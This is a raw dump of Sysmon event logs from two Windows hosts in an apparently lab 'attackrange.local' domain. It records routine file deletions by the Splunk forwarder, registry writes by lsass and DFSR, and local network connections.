disk space 23542300x800000000000000016479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:59.919{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FFCA51569599ED030158D8F6CCFCCD4,SHA256=EB70E75F103A53BD9544FF609348DEF0AA59462790447496419CCDE055ABFFC2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:59.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7EFCDEC51659A8E97DF73B67CA09DFB6,SHA256=FB5FBAAB64899FB8B834C342570ABD91F31FCFEAB7337DF0707DCA4D5913D16A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:59.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=053F4337B7E415C54D7C4C6268F10E07,SHA256=20B046621FC32CF1B83AC9AAA6758013C8DB6DE7D9189C7F66B6C12535B16ACC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:00.950{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6739AA45F5F5C1BA044D67857F0BB50,SHA256=A61795BD31EA21934A71B64C65F784D8B74E76196366325E39EBDB555026C0FB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.759{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruefalse10.0.1.14win-dc-387.attackrange.local59587-false2.16.106.171a2-16-106-171.deploy.static.akamaitechnologies.com80http 23542300x800000000000000051404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:00.801{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D88AF9CDBABAAAF55E8C61D635493152,SHA256=36F84EC7403952B4E12B7C371EBF592C308C0DB146780EBE0955B0A730B22714,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:59.398{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50294-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:02.294{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=5F757AEB1B0E892DA5B07F3D8A1C4320,SHA256=41CB07EBA7A6FA62CA7358D7FAB61992FA1E1625558F4666D89361CDD76B0F14,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:02.013{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88EC591A5512D30FBC4B541ABDD9480E,SHA256=E8B288828F8E06EE925313B43ABB6FD85D02A71E21C30C7592FCA5A79DA99A7C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:00.449{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59588-false10.0.1.12-8000- 23542300x800000000000000051406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:02.031{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF715A72A722A8B18C02D58C70D0AE78,SHA256=39E511392EBEBFA7441A8703D87EE1B7DFF7D660EA57F0CBE6DC9017BD71F43E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:03.029{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13580E3D131C0BA5AC3ADF09D3B8E924,SHA256=D104E6862E4EF8D7119329B21C2D35063B14289C13F35CCCF533B74FC6E27168,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:03.043{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7238027F29E3E27BF8BAE878745131BA,SHA256=6888F22FC6C34A6DB781D55A5936A4B28A8E6E31EBDBADED0DEDF674594B3653,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:04.059{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=647670BF649220130105D51A3DBE0978,SHA256=48158C8E753B63AD25B6E8956AA559BC34FF67FDC3FBD9B349D78C557303FC57,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000016495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000016494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002a3905) 13241300x800000000000000016493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0x03455fcd) 13241300x800000000000000016492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a654-0x6509c7cd) 13241300x800000000000000016491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0xc6ce2fcd) 13241300x800000000000000016490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000016489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002a3905) 13241300x800000000000000016488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0x03455fcd) 13241300x800000000000000016487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a654-0x6509c7cd) 13241300x800000000000000016486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:04.075{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0xc6ce2fcd) 23542300x800000000000000016485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:04.044{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3308BAE956BF8970C3C2BB6CEBF93116,SHA256=1B4A2906C225E33B4D24087864E93A73C8718EF66202A58F2B0266D4F00FFB10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:05.093{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BDD43ECFE253EB29CB66B5B179432D30,SHA256=86F414308DF521FF5DEBCE1A8E21B1390238907C76D4E1EBB67F38F3355DF619,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:05.060{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5016AB0364046F88FB917D810B8122D,SHA256=46E18CEA7F326F8A7B75802C28D9CCD591E15EE58F96095DDC31C9405708F9CA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:05.429{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50295-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:06.075{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE2239B35A9A321437455DF47F63484A,SHA256=387C20E4D577915186B782B2F788B9C57125CC265D44CFE2116F5514E813A25F,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000051415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:59:06.892{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000051414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:59:06.874{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000051413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:59:06.874{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 23542300x800000000000000051412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.111{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A5B350D4B93CE516DA665B738C3FCD8,SHA256=83399F1FD7FF0FD9BF65CC8469B8410341406C1B7394A5C81581B90CF50AC2EE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:03.783{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55457- 23542300x800000000000000016499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:07.091{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B2138AD75188736AD99AFDF58AE20EE,SHA256=AA101704D379A03DCA7E76CC40694E7300684782865D2E6FBDE2DBEACCF1B37A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:07.945{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-053MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:07.910{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7D571E808865272667911BD0344D4DDA,SHA256=55C212061D39227CECA75CD1953125DB9EB1B14E99D3FD901DB0B36FB546B448,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:07.910{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7EFCDEC51659A8E97DF73B67CA09DFB6,SHA256=FB5FBAAB64899FB8B834C342570ABD91F31FCFEAB7337DF0707DCA4D5913D16A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:07.173{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB51A4E68E8C082D37FC73F894E6D723,SHA256=B7D20439B5B32CCE71C5D531E5F85299D239105E4ACF9CB0C84AD84FFBB5B86F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:03.786{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruefalse10.0.1.14win-dc-387.attackrange.local59589-false2.16.106.186a2-16-106-186.deploy.static.akamaitechnologies.com80http 23542300x800000000000000051422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:08.956{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-054MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:08.226{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB64F559A8A7C4AE6BB80F7A97652B68,SHA256=33EDBAA7FE9F6D0A119ACDD3625C12FB918345F590E119E6468DDA2B90262E1C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:08.107{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B6FC7B169BC47DCD14807EC5AD1BEA1,SHA256=93AD0B20C3162393DF13F73CF580C4935C199800283EA2EF6A896265126E4CE0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:09.256{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D8B7E3F4D50943386FB51C1BEBA841B,SHA256=9D190C4E8D7CA36D12D91A9C127CDDDAC8FDD272D0C9AA510156074789937C37,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:09.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=835CCD67CED4D57B378AE7122B00303F,SHA256=FB8E40682CAB2B45B08D6AB8D9EACA8796AAC25F0CAFDAFBB7FB933BDDB1B52F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.478{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59593-false10.0.1.12-8000- 354300x800000000000000051429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.204{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59592-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000051428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.204{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59592-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000051427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.197{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59591-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000051426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.197{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59591-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000051425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.194{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56135- 354300x800000000000000051424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.179{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59590-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000051423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:06.179{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59590-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 23542300x800000000000000051433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:10.339{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F968B1141CCEBC936814146011358936,SHA256=92BF345EC163E70CA8AB5D686BCFB47497BA556F9D7ADFAA44E17EA577B97878,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:10.185{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1593D435593CD48CAC63FC29881BEC28,SHA256=9799014F8D202A152DB2F052D97D7585647294F25A706DC37C89C01416282AE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:10.171{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\xulstore.jsonMD5=05E1DDB4298BE4C948C3AE839859C3E9,SHA256=1C2C5D5211674C3C8473E0589085499471399E53E9A85D7DD3B075FEF6CBB6BE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:11.488{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=830375D293BBA8DBACB63AF9093D0959,SHA256=3DDAC201440488F8DEFEB4E6FC6ADA4F6F9DC9862BB7C45DE9505398C890D54C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:10.460{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50296-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:11.186{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF232EBD7B3D30A9CE4D47B4B29F189D,SHA256=B6A281879D4488127D50FF07957F43D77A8101CBB0B49C9757575E061BAA8DFE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:12.869{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 